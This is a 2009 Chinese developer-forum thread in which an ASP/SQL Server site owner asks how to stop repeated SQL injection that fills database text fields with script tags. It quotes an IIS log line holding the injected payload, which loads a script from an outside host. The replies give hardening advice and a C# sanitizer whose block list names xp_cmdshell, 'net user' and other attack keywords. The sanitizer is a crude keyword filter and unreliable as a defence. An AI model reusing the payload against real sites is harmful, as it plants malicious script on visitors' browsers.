网站被挂木马了,如何解决。

izhibo8 2009-08-11 05:51:04
我的数据库被注入js代码,我的网站是asp+sql 写的,数据库里几乎所有的text、varchar字段都被js的内容代替。
我在asp 的conn里已经加入防注入关键字的判断,可是还是不行
我update后,几分钟,数据库就会再次注入js的代码,急求解决办法,我感觉像是中了木马,不然我每次update 后总是再次被注入!!!!

我分析iis 日志发现以下代码,
/head/13.gif%3C/title%3E%3Cscript%20src=http%3C/title%3E%3Cscript%20src=http:/252a.cn/1.js%3E%3C/script%3E - 80 - 125.70.103.133 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+TheWorld) ASPSESSIONIDCATDBDDS=BLKNDEJADMBMODNKLPGONPJF http://www.bbz.cn/passport.asp?uid=Y50206685 www.bbz.cn 200 0 0 (bbz是我的网站)

好像是通过图片传的?如何拦截
...全文
297 13 打赏 收藏 转发到动态 举报
写回复
用AI写文章
13 条回复
切换为时间正序
请发表友善的回复…
发表回复
xlyhj219 2009-08-18
  • 打赏
  • 举报
回复
在IIS里面把用户上传图片的文件夹权限设置为不能执行脚本
devilidea 2009-08-18
  • 打赏
  • 举报
回复
muguazhanfang1 2009-08-18
  • 打赏
  • 举报
回复
1、禁用fso
2、设置空间的读写权限
3、查看数据库漏洞
4、查看编辑器中的相关漏洞!
ximengchang 2009-08-18
  • 打赏
  • 举报
回复
可以把你的数据局做一些权限设置,不要用sa的用户,自己新建一个,然后给它各个表访问的不同权限,有的只能查询,有的可以插入,更新的定位到某个具体的字段,这样可以减少被攻击的概率,我原来也经常被注入,后来做了权限设置后,2年多了还没有被注入过,应该可以起不少作用,搂主可以试一下看看,呵呵
chenjianyong94 2009-08-18
  • 打赏
  • 举报
回复
 public static string NoHTML(string Htmlstring)
{
if (Htmlstring == null)
{
return "";
}
else
{
//删除脚本
Htmlstring = Regex.Replace(Htmlstring, @"<script[^>]*?>.*?</script>", "", RegexOptions.IgnoreCase);
//删除HTML
Htmlstring = Regex.Replace(Htmlstring, @"<(.[^>]*)>", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"([\r\n])[\s]+", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"-->", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"<!--.*", "", RegexOptions.IgnoreCase);

Htmlstring = Regex.Replace(Htmlstring, @"&(quot|#34);", "\"", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(amp|#38);", "&", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(lt|#60);", "<", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(gt|#62);", ">", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(nbsp|#160);", " ", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(iexcl|#161);", "\xa1", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(cent|#162);", "\xa2", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(pound|#163);", "\xa3", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&(copy|#169);", "\xa9", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, @"&#(\d+);", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, "xp_cmdshell", "", RegexOptions.IgnoreCase);

//删除与数据库相关的词
Htmlstring = Regex.Replace(Htmlstring, "select ", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, "insert ", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, "delete from ", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, "count''", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, "drop table ", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, "truncate ", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, "asc", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, "mid", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, "char", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, "xp_cmdshell", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, "exec master", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, "net localgroup administrators", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, " and ", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, "net user", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, " or ", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, " net ", "", RegexOptions.IgnoreCase);
//Htmlstring = Regex.Replace(Htmlstring,"*", "", RegexOptions.IgnoreCase);
//Htmlstring = Regex.Replace(Htmlstring,"-", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, "delete ", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, "drop ", "", RegexOptions.IgnoreCase);
Htmlstring = Regex.Replace(Htmlstring, "script", "", RegexOptions.IgnoreCase);

//特殊的字符
Htmlstring = Htmlstring.Replace("<", "");
Htmlstring = Htmlstring.Replace(">", "");
Htmlstring = Htmlstring.Replace("*", "");
Htmlstring = Htmlstring.Replace("--", "");
Htmlstring = Htmlstring.Replace("?", "");
Htmlstring = Htmlstring.Replace(",", "");
Htmlstring = Htmlstring.Replace("/", "");
Htmlstring = Htmlstring.Replace(";", "");
Htmlstring = Htmlstring.Replace("*/", "");
Htmlstring = Htmlstring.Replace("\r\n", "");
Htmlstring = HttpContext.Current.Server.HtmlEncode(Htmlstring).Trim();

return Htmlstring;
}
}
ToFindWorkOn 2009-08-12
  • 打赏
  • 举报
回复
木马有什么用?
hongmaohouzi 2009-08-12
  • 打赏
  • 举报
回复
更新一下你备份的数据库,然后检查系统的每个交互的页面的代码是否有系统漏洞,可以对一些特殊字符进行过滤,修改数据库的用户名和密码,分配好用户的使用权限。
ttt2 2009-08-12
  • 打赏
  • 举报
回复
估计是自动注入,把fso禁了 adodb.stream禁了
izhibo8 2009-08-12
  • 打赏
  • 举报
回复
我update后,把网站关闭(iis停止)后,没过几分钟又再次注入!!!!!!!!

请问是什么原因。、。。还是网站的漏洞吗
三楼の郎 2009-08-12
  • 打赏
  • 举报
回复
查sql注入漏洞
ywfsoft 2009-08-12
  • 打赏
  • 举报
回复
1.用SQL语句

updatesql="update table set fildes=replace(values,'javascript代码','')"
conn.execute (updatesql)

2.然后检查系统的每个交互的页面的代码是否有系统漏洞,可以对一些特殊字符进行过滤,修改数据库的用户名和密码,分配好用户的使用权限
3.查一下代码文件中是否有可疑的文件,
ywfsoft 2009-08-12
  • 打赏
  • 举报
回复
1.用SQL语句

updatesql="update table set fildes=replace(values,'javascript代码','')"
conn.execute (updatesql)

2.然后检查系统的每个交互的页面的代码是否有系统漏洞,可以对一些特殊字符进行过滤,修改数据库的用户名和密码,分配好用户的使用权限
3.查一下代码文件中是否有可疑的文件,
dima302 2009-08-11
  • 打赏
  • 举报
回复
木马确实很可恶,帮楼主顶一下,顺便学习一下。

28,391

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧